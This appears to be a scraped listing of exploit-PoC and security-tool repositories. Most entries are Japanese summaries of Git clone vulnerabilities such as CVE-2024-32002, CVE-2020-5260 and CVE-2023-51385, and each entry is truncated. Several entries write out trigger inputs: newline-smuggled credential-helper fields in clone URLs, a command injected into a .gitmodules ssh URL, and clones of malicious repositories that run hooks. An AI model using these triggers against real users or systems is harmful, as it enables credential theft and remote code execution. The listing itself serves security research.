CVE-2024-32002

CVE-2024-32002 バージョン 1.0.0 このバージョンは、認証されたユーザーがいるリモートターゲットと影響を受けるgitバージョン2.45.0でのみ動作します。 この脆弱性は以下のバージョンのGitに影響します: 2.45.0 概念実証 PoCは、シンボリックリンクを辿るgitのサブモジュールの特定の脆弱な使用法を介して、git cloneコマンドを使用してRCE（リモートコード実行）をトリガーできます。そのため、正常に動作させるにはコンテキストでcore.symlinksがtrueに設定されている必要があります。 注: これは git config --global...

CVE-2020-5260

CVE-2020-5260 CVE-2020-5260 デモ記録 git が git clone https://example.com のようなコマンドを実行する際、プロトコル "https" を使用してホスト "example.com" の資格情報を保存するよう要求し、リモート側で認証が要求された場合に、返された資格情報を発行したリクエストに追加します。 git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 参考リンク:...

smuggler

/ | | | | \ | | | | |/ |/ | || |/ | | | || | | | || | | /||||/ \ |\ || | @defparam Smuggler An HTTP Request Smuggling / Desync testing tool written in Python 3 Acknowledgements A special thanks to James Kettle for his research and methods into HTTP desyncs And a special thanks to Ben Sadeghipour...

heartbleedscanner

Heartbleed Scanner Network Scanner for OpenSSL Memory Leak CVE-2014-0160 -t parameter to optimize the timeout in seconds. -f parameter to log the memleak of vulnerable systems. -n parameter to scan entire network. -i parameter to scan from a list file. Useful if you already have targets. -r...

hook

amalmurali47/hook このリポジトリは、git clone 操作中に RCE を引き起こす Git の脆弱性 CVE-2024-32002 を悪用する PoC の一部です。このリポジトリには、エクスプロイトで使用される悪意のあるフックが含まれています。 概要 詳細な手順とエクスプロイトの仕組みについては、gitrce リポジトリ またはブログ記事 https://amalmurali.me/posts/git-rce を参照してください。 免責事項...

cve-2020-5260

cve-2020-5260 Heroku にデプロイできる cve-2020-5260 用の HTTP PoC エンドポイント クレジット情報 Google Project Zero の Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 脆弱性を発動する git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' PoC を Heroku にデプロイする...

git_rce

CVE-2024-32002: git clone を介した Git RCE の悪用 このリポジトリは、git clone 操作中に RCE を可能にする Git の脆弱性 CVE-2024-32002 を悪用するための PoC を含んでいます。特定の方法でサブモジュールを持つリポジトリを作成することにより、攻撃者は大文字小文字を区別しないファイルシステム上のシンボリックリンク処理を悪用して .git/ ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注意: この PoC は Windows または Mac システムでのみ動作します。 ブログ記事...

CVE-2025-48384

CVE-2025-48384: キャリッジリターンでgitを破壊し、クローンでRCE https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384 からの再現です。すべてのクレジットは David Leadbeater 氏に帰属します。 これは本脆弱性の基本的な再現試行です。 トリガーするには、脆弱性のあるgitバージョンで git clone --recursive https://github.com/acheong08/CVE-2025-48384 を実行すると、突然 /tmp/fishsucks ファイルが出現します。...

hook

hook gitrce用のサブモジュール: https://github.com/EQSTSeminar/gitrce 攻撃シナリオ kali192.168.216.129 --リモートリポジトリのアドレスを渡す-- Win192.168.216.130 kali192.168.216.129 --Git clone && フックスクリプトpost-checkoutの実行-- Win192.168.216.130 免責事項 このリポジトリは、CVE-2024-32002に対するgit clone...

antisquat

AntiSquat AntiSquat leverages AI techniques such as natural language processing NLP, large language models ChatGPT and more to empower detection of typosquatting and phishing domains. How to use Clone the project via git clone https://github.com/redhuntlabs/antisquat. Install all dependencies by...

subdomain3

Subdomain3 README.md inChinese 中文 Description Subdomain3 is a new generation of tool , It helps penetration testers to discover more information in a shorter time than other tools.The information includes subdomains, IP, CDN, and so on. Please enjoy it. Screenshot medium pattern for speed Feature...

rdpy

RDPY Remote Desktop Protocol in twisted python. RDPY is a pure Python implementation of the Microsoft RDP Remote Desktop Protocol protocol client and server side. RDPY is built over the event driven network engine Twisted. RDPY support standard RDP security layer, RDP over SSL and NLA...

CVE-2018-11235

CVE-2018-11235 快速开始 要构建 Docker 容器，请使用： make docker 以下 make 命令应在您机器上的不同终端中并行运行 要启动攻击者服务器的容器，请使用： make runserver 要启动代表受害者的容器，请使用： make runclient 该容器将运行 client.py 脚本。该脚本会将其 IP 地址和用户名发送给攻击者。 请按照客户端控制台中的说明来克隆恶意 git 仓库。 git clone --recurse-submodules root@server:home/poc/maliciousrepo clientpwned...

CVE-2024-32002-hook

CVE-2024-32002-hook CVE-2024-32002-hook...

CVE-2026-94545

cve-id 捐赠 帮助维护此项目 如果您觉得此项目有用，请考虑通过 PayPal 或 ABA Mobile 支持其持续维护。 ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ 每笔捐赠的百分之十将捐献给 Kantha Bopha 儿童医院。 | 选择支付方式 使用 ABA Mobile 扫描 · 点击放大 ---|--- ⚡ 简单用法 直接从 GitHub 运行最新版本的外部下载脚本： bash 此命令需要 Bash 和 curl。如果您不信任来源，请在运行远程脚本之前先审查它。...

CVE-2024-32002

CVE-2024-32002: git clone によるGit RCEの悪用 このリポジトリは、git clone 操作中にRCEを可能にするGitの脆弱性CVE-2024-32002を悪用するためのPoCを含んでいます。特定の方法でサブモジュールを構成したリポジトリを作成することで、攻撃者は大文字小文字を区別しないファイルシステム上のシンボリックリンクの処理を悪用して、.git/ ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注意: このPoCはWindowsまたはMacシステムでのみ動作します。 ブログ記事...

CVE-2024-32002

CVE-2024-32002: git clone を介したGit RCEの悪用 このリポジトリは、CVE-2024-32002を悪用するPoCを含んでいます。これはGitの脆弱性で、git clone操作中にRCEを引き起こします。特定の方法でサブモジュールを含むリポジトリを作成することで、攻撃者は大文字小文字を区別しないファイルシステム上のシンボリックリンク処理を悪用して、.git/ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注記: このPoCはWindowsまたはMacシステムでのみ動作します。 ブログ記事...

CVE-2023-51385_test

CVE-2023-51385 の検証 まず、/.ssh/config に以下の内容を追加する必要があります host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules ファイルの文にはコマンドインジェクションが存在します url = ssh://echo helloworld cve.txtfoo.example.com/bar 設定が完了したら、以下のコマンドを実行してトリガーします git clone...

git_rce

git cloneを介したRemote Code Execution攻撃 CVE-2024-32002 貢献者 イ・ジョンウ@Roronoawjd 背景説明 本脆弱性は、大文字小文字を区別しないWindowsやMacOSなどのファイルシステムにおいて、サブモジュールを含むgitリポジトリをcloneする際に発生するRCERemote Code Execution脆弱性です。RCEはリモートコード実行脆弱性であり、攻撃者が対象システム上で任意のコマンドを実行できる非常に深刻な脆弱性です。 A/modules/x と a/modules/x...

rcetest

CVE-2024-32002: git clone を介した Git RCE の悪用 このリポジトリには、git clone 操作中に RCE を許可する Git の脆弱性 CVE-2024-32002 を悪用するための PoC が含まれています。特定の方法でサブモジュールを持つリポジトリを作成することにより、攻撃者は大文字と小文字を区別しないファイルシステム上のシンボリックリンク処理を悪用して .git/ ディレクトリにファイルを書き込み、悪意のあるフックの実行につなげることができます。 注: この PoC は Windows または Mac システムでのみ動作します。 ブログ記事...